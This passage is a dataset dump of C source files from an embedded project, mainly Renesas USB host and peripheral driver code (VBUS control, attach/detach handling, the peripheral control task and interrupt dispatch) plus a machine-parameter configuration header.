\"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted Host Signal functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_VbusControl\nDescription : USB VBUS ON/OFF setting.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t port : Port number.\n : uint16_t command : ON / OFF.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_VbusControl(USB_UTR_t *ptr, uint16_t port, uint16_t command)\n{\n if( command == USB_VBON )\n {\n usb_creg_set_vbout( ptr, port );\n#ifdef USB_HOST_BC_ENABLE\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n usb_hstd_bc_func[g_usb_hstd_bc[ptr->ip].state][USB_BC_EVENT_VB](ptr, port);\n }\n#endif\n }\n else\n {\n usb_creg_clr_vbout( ptr, port );\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_VbusControl\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SuspendProcess\nDescription : Set USB registers as required when USB Device status is moved\n : to \"Suspend\". \nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t port : Port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_SuspendProcess(USB_UTR_t *ptr, uint16_t port)\n{\n /* SUSPENDED check */\n if( usb_ghstd_RemortPort[port] == USB_SUSPENDED )\n {\n /* SOF OFF */\n usb_hreg_clr_uact( ptr, port );\n\n /* Wait */\n usb_cpu_DelayXms((uint16_t)1);\n usb_hstd_ChkSof(ptr, port);\n /* RWUPE=1, UACT=0 */\n usb_hreg_set_rwupe( ptr, port );\n\n /* Enable port BCHG interrupt */\n usb_hstd_BchgEnable(ptr, port);\n /* Wait */\n usb_cpu_DelayXms((uint16_t)5);\n }\n else\n {\n /* SOF OFF */\n usb_hreg_clr_uact( ptr, port );\n /* Wait */\n usb_cpu_DelayXms((uint16_t)5);\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_SuspendProcess\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_Attach\nDescription : Set USB registers as required when USB device is attached, \n : and notify MGR (manager) task that attach event occurred.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t result : Result.\n : uint16_t port : Port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_Attach(USB_UTR_t *ptr, uint16_t result, uint16_t port)\n{\n /* DTCH interrupt enable */\n usb_hstd_DtchEnable(ptr, port);\n /* Interrupt Enable */\n usb_cstd_BerneEnable(ptr);\n /* USB Mng API */\n usb_hstd_NotifAtorDetach(ptr, result, port);\n#ifdef USB_HOST_BC_ENABLE\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n usb_hstd_bc_func[g_usb_hstd_bc[ptr->ip].state][USB_BC_EVENT_AT](ptr, port);\n }\n#endif /* USB_HOST_BC_ENABLE */\n}\n/******************************************************************************\nEnd of function usb_hstd_Attach\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_Detach\nDescription : Set USB register as required when USB device is detached, and \n notify MGR (manager) task that detach occurred.\nArguments : uint16_t port : Port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_Detach(USB_UTR_t *ptr, uint16_t port)\n{\n#ifdef USB_HOST_BC_ENABLE\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n usb_hstd_bc_func[g_usb_hstd_bc[ptr->ip].state][USB_BC_EVENT_DT](ptr, port);\n }\n#endif /* USB_HOST_BC_ENABLE */\n\n /* DVSTCTR clear */\n usb_creg_clr_dvstctr( ptr, port, (uint16_t)(USB_RWUPE | USB_USBRST | USB_RESUME | USB_UACT) );\n\n /* ATTCH interrupt enable */\n usb_hstd_AttchEnable(ptr, port);\n\n /* USB Mng API */\n usb_hstd_NotifAtorDetach(ptr, (uint16_t)USB_DETACH, port);\n}\n/******************************************************************************\nEnd of function usb_hstd_Detach\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_InitConnect\nDescription : Execute attach or detach and return USB connect status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number.\n : uint16_t else_connect_inf : Else USB Port connect Information.\nReturn value : uint16_t ; connection status\n : ; (USB_ATTACHF/USB_ATTACHL/USB_DETACH/USB_DONE)\n******************************************************************************/\nuint16_t usb_hstd_InitConnect(USB_UTR_t *ptr, uint16_t port, uint16_t else_connect_inf )\n{\n uint16_t connect_inf;\n\n usb_hreg_clr_sts_attch( ptr, port );\n usb_hreg_clr_sts_dtch( ptr, port );\n\n /* VBUS out */\n usb_hstd_VbusControl(ptr, port, (uint16_t)USB_VBON);\n \n#ifndef USB_HOST_BC_ENABLE\n usb_cpu_DelayXms((uint16_t)100); /* 100ms wait */\n#endif /* ! USB_HOST_BC_ENABLE */\n \n connect_inf = usb_hstd_ChkAttach(ptr, port);\n\n switch( connect_inf )\n {\n case USB_ATTACHL:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_ATTACHF:\n usb_hstd_Attach(ptr, connect_inf, port);\n break;\n case USB_DETACH:\n /* USB detach */\n usb_hstd_Detach(ptr, port);\n /* Check clock */\n#if USB_PORTSEL_PP == USB_1PORT_PP\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_DETACHED);\n#else /* USB_PORTSEL_PP == USB_1PORT_PP */\n usb_hstd_ChkClk2(ptr, else_connect_inf );\n#endif /* USB_PORTSEL_PP == USB_1PORT_PP */\n break;\n default:\n /* USB detach */\n usb_hstd_Detach(ptr, port);\n /* Check clock */\n#if USB_PORTSEL_PP == USB_1PORT_PP\n usb_hstd_ChkClk(ptr, port, (uint16_t)USB_DETACHED);\n#else /* USB_PORTSEL_PP == USB_1PORT_PP */\n usb_hstd_ChkClk2(ptr, else_connect_inf );\n#endif /* USB_PORTSEL_PP == USB_1PORT_PP */\n break;\n }\n\n return connect_inf;\n}\n/******************************************************************************\nEnd of function usb_hstd_InitConnect\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.7106325626373291, "alphanum_fraction": 0.7254374027252197, "avg_line_length": 27.576923370361328, "blob_id": "7350541b07e3467526324de882f05a9720c5c993", "content_id": "3db152c348ced736d4bc2a3f84d9f79fd8381fb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 743, "license_type": "no_license", "max_line_length": 54, "num_lines": 26, "path": "/src/include/config_par_maquina.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_menu_ox.h\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n\n#ifndef INCLUDE_CONFIG_PAR_MAQUINA_H_\n#define INCLUDE_CONFIG_PAR_MAQUINA_H_\n\n#include \"ut_state_config_var.h\"\n\nextern bool reset_flag;\n\nextern ut_config_var configsParMaq[CFG_PAR_MAQ_MAX];\nextern ut_config_type pm_init_types[CFG_PAR_MAQ_MAX];\nextern char* pm_init_names[CFG_PAR_MAQ_MAX];\nextern float pm_init_max[CFG_PAR_MAQ_MAX];\nextern float pm_init_min[CFG_PAR_MAQ_MAX];\nextern float pm_init_step[CFG_PAR_MAQ_MAX];\nextern uint8_t pm_init_point[CFG_PAR_MAQ_MAX];\nextern char* pm_init_unit[CFG_PAR_MAQ_MAX];\nextern const ut_state geNextStatePar[CFG_PAR_MAQ_MAX];\nextern uint32_t pm_init_values[CFG_PAR_MAQ_MAX];\n\n#endif /* INCLUDE_CONFIG_PAR_MAQUINA_H_ */\n" }, { "alpha_fraction": 0.44158995151519775, "alphanum_fraction": 0.4562014937400818, "avg_line_length": 35.856510162353516, "blob_id": "10d16bd96415d15a823c5be8b27f3405db30becd", "content_id": "381633e7a4cfd460ab10290bcf74909dfca6fb90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 41611, "license_type": "no_license", "max_line_length": 120, "num_lines": 1129, "path": "/r_usb_basic/src/driver/peri/r_usb_pdriver.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pdriver.c\n* Description : USB Peripheral driver code.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\nuint16_t usb_gpstd_StallPipe[USB_MAX_PIPE_NO + 1u]; /* Stall Pipe info */\nUSB_CB_t usb_gpstd_StallCB; /* Stall Callback function */\nuint16_t usb_gpstd_ConfigNum = 0; /* Current configuration number */\nuint16_t usb_gpstd_AltNum[USB_ALT_NO]; /* Alternate number */\nuint16_t usb_gpstd_RemoteWakeup = USB_NO; /* Remote wakeup enable flag */\n\n#if ((( USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||(( USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\nuint16_t usb_gpstd_TestModeSelect; /* Test mode selectors */\nuint16_t usb_gpstd_TestModeFlag = USB_NO; /* Test mode flag */\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n\nuint16_t usb_gpstd_EpTblIndex[2][USB_MAX_EP_NO + 1u]; /* Index of endpoint information table */\nuint16_t usb_gpstd_ReqType; /* Request type */\nuint16_t usb_gpstd_ReqTypeType; /* Request type TYPE */\nuint16_t usb_gpstd_ReqTypeRecip; /* Request type RECIPIENT */\nuint16_t usb_gpstd_ReqRequest; /* Request */\nuint16_t usb_gpstd_ReqValue; /* Value */\nuint16_t usb_gpstd_ReqIndex; /* Index */\nuint16_t usb_gpstd_ReqLength; /* Length */\nuint16_t usb_gpstd_intsts0; /* INTSTS0 */\n\n/* Driver registration */\nUSB_PCDREG_t usb_gpstd_Driver = \n{\n (uint16_t**)&usb_cstd_DummyFunction, /* Pipe define table address */\n (uint8_t*) &usb_cstd_DummyFunction, /* Device descriptor table address */\n (uint8_t*) &usb_cstd_DummyFunction, /* Qualifier descriptor table address */\n (uint8_t**) &usb_cstd_DummyFunction, /* Configuration descriptor table address */\n (uint8_t**) &usb_cstd_DummyFunction, /* Other configuration descriptor table address */\n (uint8_t**) &usb_cstd_DummyFunction, /* String descriptor table address */\n &usb_cstd_DummyFunction, /* Driver init */\n &usb_cstd_DummyFunction, /* Device default */\n &usb_cstd_DummyFunction, /* Device configured */\n &usb_cstd_DummyFunction, /* Device detach */\n &usb_cstd_DummyFunction, /* Device suspend */\n &usb_cstd_DummyFunction, /* Device resume */\n &usb_cstd_DummyFunction, /* Interfaced change */\n &usb_cstd_DummyTrn, /* Control transfer */\n};\n\nUSB_REQUEST_t usb_gpstd_ReqReg; /* Device Request - Request structure */\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nstatic USB_PCDINFO_t *usb_spstd_PcdMsg; /* Pcd Task receive message */\n\nstatic USB_ER_t usb_pstd_SetSubmitutr(USB_UTR_t *ptr, USB_UTR_t *utrmsg);\nstatic void usb_pstd_SetReTransfer(USB_UTR_t *ptr, uint16_t pipe);\n\n\n/******************************************************************************\nRenesas Abstracted Peripheral Driver functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_PcdSndMbx\nDescription : PCD Send Mailbox\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t msginfo : USB system internal structure.\n : uint16_t keyword : USB system internal structure.\n : USB_CB_t complete : Callback function.\nReturn value : USB_ER_t : Error Info\n******************************************************************************/\nUSB_ER_t usb_pstd_PcdSndMbx(USB_UTR_t *ptr, uint16_t msginfo, uint16_t keyword, USB_CB_t complete)\n{\n USB_MH_t p_blf;\n USB_ER_t err, err2;\n USB_PCDINFO_t *pp;\n\n /* Get Memory pool for send message */\n err = USB_PGET_BLK(USB_PCD_MPL, &p_blf);\n if( err == USB_E_OK )\n {\n pp = (USB_PCDINFO_t*)p_blf;\n pp->msghead = (USB_MH_t)USB_NULL;\n pp->msginfo = msginfo;\n pp->keyword = keyword;\n pp->complete = complete;\n\n pp->ipp = ptr->ipp;\n pp->ip = ptr->ip;\n\n /* Send message for usb_pstd_PcdTask */\n err = USB_SND_MSG(USB_PCD_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### pPcdSndMbx snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_PCD_MPL,(USB_MH_t)p_blf);\n if( err2 != USB_E_OK )\n {\n USB_PRINTF1(\"### pPcdSndMbx rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### pPcdSndMbx pget_blk error\\n\", err);\n }\n return err;\n}\n/******************************************************************************\nEnd of function usb_pstd_PcdSndMbx\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_PcdRelMpl\nDescription : PCD REL_BLK send $REA\nArguments : uint16_t n $REA\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_PcdRelMpl(uint16_t n)\n{\n USB_ER_t err;\n\n /* PCD memory pool release */\n err = USB_REL_BLK(USB_PCD_MPL, (USB_MH_t)usb_spstd_PcdMsg);\n if( err != USB_E_OK )\n {\n USB_PRINTF2(\"### usb_pstd_PcdRelMpl (%d) rel_blk error: %d\\n\", n, err);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_PcdRelMpl\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_PcdTask\nDescription : The Peripheral Control Driver(PCD) task.\nArguments : USB_VP_INT stacd\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_PcdTask(USB_VP_INT stacd)\n{\n USB_UTR_t *mess, *ptr;\n /* Error code */\n USB_ER_t err;\n uint16_t pipenum;\n\n err = USB_TRCV_MSG(USB_PCD_MBX, (USB_MSG_t**)&mess, (USB_TM_t)10000);\n if( (err != USB_E_OK) )\n {\n return;\n }\n\n ptr = (USB_UTR_t *)mess;\n\n usb_spstd_PcdMsg = (USB_PCDINFO_t*)mess;\n pipenum = usb_spstd_PcdMsg->keyword;\n\n /* Detach is all device */\n switch( usb_spstd_PcdMsg->msginfo )\n {\n case USB_MSG_PCD_INT:\n /* USB INT */\n usb_pstd_Interrupt((USB_UTR_t*)usb_spstd_PcdMsg);\n break;\n case USB_MSG_PCD_PCUTINT:\n /* Start Oscillation : Interrupt wakeup */\n usb_cstd_InterruptClock(ptr);\n ptr = (USB_UTR_t*)usb_spstd_PcdMsg;\n /* USB interrupt Handler */\n usb_pstd_InterruptHandler(ptr);\n /* USB INT */\n usb_pstd_Interrupt((USB_UTR_t*)usb_spstd_PcdMsg);\n ptr->msginfo = USB_MSG_PCD_INT;\n break;\n\n case USB_MSG_PCD_SUBMITUTR:\n /* USB Submit utr */\n usb_pstd_SetSubmitutr(ptr, (USB_UTR_t*)usb_spstd_PcdMsg);\n break;\n case USB_MSG_PCD_REMOTEWAKEUP:\n usb_cstd_SelfClock(ptr);\n usb_pstd_RemoteWakeup(ptr);\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_REMOTEWAKEUP);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)1u);\n break;\n\n case USB_MSG_PCD_CLRSEQBIT:\n usb_creg_set_sqclr(ptr, pipenum);\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_CLRSEQBIT);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)2u);\n break;\n case USB_MSG_PCD_SETSTALL:\n usb_pstd_SetStall(ptr, pipenum);\n usb_gpstd_StallPipe[pipenum] = USB_YES;\n usb_gpstd_StallCB = usb_spstd_PcdMsg->complete;\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)3u);\n break;\n\n case USB_MSG_PCD_TRANSEND1:\n /* End of all pipes */\n if( usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL )\n {\n /* Transfer timeout */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_TMO);\n }\n else\n {\n USB_PRINTF1(\"### Peri not transferd-1 %d\\n\", pipenum);\n }\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)4u);\n break;\n case USB_MSG_PCD_TRANSEND2:\n /* End of all pipes */\n if( usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL )\n {\n /* Transfer stop */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_STOP);\n }\n else\n {\n USB_PRINTF1(\"### Peri not transferd-2 %d\\n\", pipenum);\n }\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)5u);\n break;\n\n case USB_MSG_PCD_DETACH:\n usb_cstd_SelfClock(ptr);\n /* USB detach */\n usb_pstd_DetachProcess(ptr);\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_DETACH);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)6u);\n break;\n case USB_MSG_PCD_ATTACH:\n usb_cstd_SelfClock(ptr);\n usb_pstd_AttachProcess(ptr);\n /* Process Done Callback function */\n#ifdef USB_PERI_BC_ENABLE\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)g_usb_bc_detect, USB_MSG_PCD_ATTACH);\n#else\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_ATTACH);\n#endif\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)7u);\n break;\n\n case USB_MSG_PCD_DP_ENABLE:\n usb_pstd_DpEnable(ptr);\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_DP_ENABLE);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)8u);\n break;\n case USB_MSG_PCD_DP_DISABLE:\n usb_pstd_DpDisable(ptr);\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_DP_DISABLE);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)9u);\n break;\n case USB_MSG_PCD_DM_ENABLE:\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_DM_ENABLE);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)10u);\n break;\n case USB_MSG_PCD_DM_DISABLE:\n /* Process Done Callback function */\n (usb_spstd_PcdMsg->complete)(ptr, (uint16_t)USB_NO_ARG, USB_MSG_PCD_DM_DISABLE);\n /* PCD memory pool release */\n usb_pstd_PcdRelMpl((uint16_t)11u);\n break;\n\n#ifdef USB_DTC_ENABLE\n case USB_MSG_PCD_D0FIFO_INT:\n usb_cstd_D0fifoInt(ptr);\n break;\n#endif /* USB_DTC_ENABLE */\n\n case USB_MSG_PCD_D1FIFO_INT:\n break;\n\n case USB_MSG_PCD_RESM_INT:\n break;\n\n default:\n while( 1 )\n {\n };\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_PcdTask\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_SetSubmitutr\nDescription : USB Peripheral Submit utr.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : USB_UTR_t *utrmsg $REA\nReturn value : USB_ER_t\n******************************************************************************/\nUSB_ER_t usb_pstd_SetSubmitutr(USB_UTR_t *ptr, USB_UTR_t *utrmsg)\n{\n uint16_t pipenum;\n\n pipenum = utrmsg->keyword;\n usb_gcstd_Pipe[ptr->ip][pipenum] = utrmsg;\n\n /* Check state ( Configured ) */\n if( usb_pstd_ChkConfigured(ptr) == USB_YES )\n {\n /* Data transfer */\n usb_pstd_SetReTransfer(ptr, pipenum);\n }\n else\n {\n /* Transfer stop */\n usb_cstd_ForcedTermination(ptr, pipenum, (uint16_t)USB_DATA_ERR);\n }\n return USB_DONE;\n}\n/******************************************************************************\nEnd of function usb_pstd_SetSubmitutr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetReTransfer\nDescription : Start transmission/reception of data transfer based on the \n : specified transfer direction.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t pipe : Pipe nr.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetReTransfer(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Data transfer */\n if( usb_cstd_GetPipeDir(ptr, pipe) == USB_DIR_P_OUT )\n { /* Out transfer */\n usb_cstd_ReceiveStart(ptr, pipe);\n }\n else\n {\n /* In transfer */\n usb_cstd_SendStart(ptr, pipe);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetReTransfer\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_Interrupt\nDescription : Analyze the USB Peripheral interrupt event and execute the\n : appropriate process.\nArguments : USB_UTR_t *p : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_Interrupt(USB_UTR_t *ptr)\n{\n uint16_t intsts, status, stginfo;\n\n intsts = ptr->keyword;\n status = ptr->status;\n\n usb_gpstd_intsts0 = usb_creg_read_intsts( ptr );\n\n /* check interrupt status */\n switch( intsts )\n {\n\n /* BRDY, BEMP, NRDY */\n case USB_INT_BRDY:\n usb_pstd_BrdyPipe(ptr, status);\n break;\n case USB_INT_BEMP:\n usb_pstd_BempPipe(ptr, status);\n break;\n case USB_INT_NRDY:\n usb_pstd_NrdyPipe(ptr, status);\n break;\n /* Resume */\n case USB_INT_RESM:\n USB_PRINTF0(\"RESUME int peri\\n\");\n /* Callback */\n (*usb_gpstd_Driver.devresume)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_NO_ARG);\n usb_pstd_ResumeProcess(ptr);\n break;\n /* VBUS */\n case USB_INT_VBINT:\n usb_creg_set_cnen( ptr );\n if( usb_pstd_ChkVbsts(ptr) == USB_ATTACH )\n {\n USB_PRINTF0(\"VBUS int attach\\n\");\n /* USB attach */\n usb_pstd_AttachProcess(ptr);\n }\n else\n {\n USB_PRINTF0(\"VBUS int detach\\n\");\n /* USB detach */\n usb_pstd_DetachProcess(ptr);\n }\n break;\n /* SOF */\n case USB_INT_SOFR:\n /* User program */\n break;\n\n /* DVST */\n case USB_INT_DVST:\n switch( (uint16_t)(status & USB_DVSQ) )\n {\n /* Power state */\n case USB_DS_POWR:\n break;\n /* Default state */\n case USB_DS_DFLT:\n USB_PRINTF0(\"USB-reset int peri\\n\");\n usb_pstd_BusReset(ptr);\n break;\n /* Address state */\n case USB_DS_ADDS:\n break;\n /* Configured state */\n case USB_DS_CNFG:\n USB_PRINTF0(\"Device configuration int peri\\n\");\n break;\n /* Power suspend state */\n case USB_DS_SPD_POWR:\n /* Continue */\n /* Default suspend state */\n case USB_DS_SPD_DFLT:\n /* Continue */\n /* Address suspend state */\n case USB_DS_SPD_ADDR:\n /* Continue */\n /* Configured Suspend state */\n case USB_DS_SPD_CNFG:\n USB_PRINTF0(\"SUSPEND int peri\\n\");\n usb_pstd_SuspendProcess(ptr);\n break;\n /* Error */\n default:\n break;\n }\n break;\n\n /* CTRT */\n case USB_INT_CTRT:\n stginfo = (uint16_t)(status & USB_CTSQ);\n if( (stginfo == USB_CS_IDST) )\n {\n#if ((( USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||(( USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n /* check Test mode */\n if( usb_gpstd_TestModeFlag == USB_YES )\n {\n /* Test mode */\n usb_pstd_TestMode( ptr );\n }\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n }\n else\n {\n if( ((stginfo == USB_CS_RDDS) || (stginfo == USB_CS_WRDS)) || (stginfo == USB_CS_WRND) )\n {\n /* Save request register */\n usb_pstd_SaveRequest(ptr);\n }\n }\n\n if( usb_gpstd_ReqTypeType == USB_STANDARD )\n {\n /* Switch on the control transfer stage (CTSQ). */\n switch( stginfo )\n {\n /* Idle or setup stage */\n case USB_CS_IDST:\n usb_pstd_StandReq0(ptr);\n break;\n /* Control read data stage */\n case USB_CS_RDDS:\n usb_pstd_StandReq1(ptr);\n break;\n /* Control write data stage */\n case USB_CS_WRDS:\n usb_pstd_StandReq2(ptr);\n break;\n /* Status stage of a control write where there is no data stage. */\n case USB_CS_WRND:\n usb_pstd_StandReq3(ptr);\n break;\n /* Control read status stage */\n case USB_CS_RDSS:\n usb_pstd_StandReq4(ptr);\n break;\n /* Control write status stage */\n case USB_CS_WRSS:\n usb_pstd_StandReq5(ptr);\n break;\n /* Control sequence error */\n case USB_CS_SQER:\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n break;\n /* Illegal */\n default:\n usb_pstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n break;\n }\n }\n else\n {\n /* Vender Specific */\n usb_gpstd_ReqReg.ReqType = usb_gpstd_ReqType;\n usb_gpstd_ReqReg.ReqTypeType = usb_gpstd_ReqTypeType;\n usb_gpstd_ReqReg.ReqTypeRecip = usb_gpstd_ReqTypeRecip;\n usb_gpstd_ReqReg.ReqRequest = usb_gpstd_ReqRequest;\n usb_gpstd_ReqReg.ReqValue = usb_gpstd_ReqValue;\n usb_gpstd_ReqReg.ReqIndex = usb_gpstd_ReqIndex;\n usb_gpstd_ReqReg.ReqLength = usb_gpstd_ReqLength;\n /* Callback */\n (*usb_gpstd_Driver.ctrltrans)(ptr, (USB_REQUEST_t *)&usb_gpstd_ReqReg, stginfo);\n }\n break;\n\n /* Error */\n case USB_INT_UNKNOWN:\n USB_PRINTF0(\"pINT_UNKNOWN\\n\");\n break;\n default:\n USB_PRINTF1(\"pINT_default %X\\n\", intsts);\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_Interrupt\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_ClearAlt\nDescription : Zero-clear the alternate table (buffer).\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ClearAlt(void)\n{\n uint16_t i;\n\n for( i = 0; i < USB_ALT_NO; ++i )\n {\n /* Alternate table clear */\n usb_gpstd_AltNum[i] = 0;\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_ClearAlt\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_ClearMem\nDescription : Initialize global variables defined for peripheral mode.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ClearMem(void)\n{\n /* Configuration number */\n usb_gpstd_ConfigNum = 0;\n /* Remote wakeup enable flag */\n usb_gpstd_RemoteWakeup = USB_NO;\n usb_gcstd_XckeMode = USB_NO;\n /* Alternate setting clear */\n usb_pstd_ClearAlt();\n}\n/******************************************************************************\nEnd of function usb_pstd_ClearMem\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_SetConfigNum\nDescription : Set specified configuration number.\nArguments : uint16_t value : Configuration number\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetConfigNum(uint16_t value)\n{\n /* Set configuration number */\n 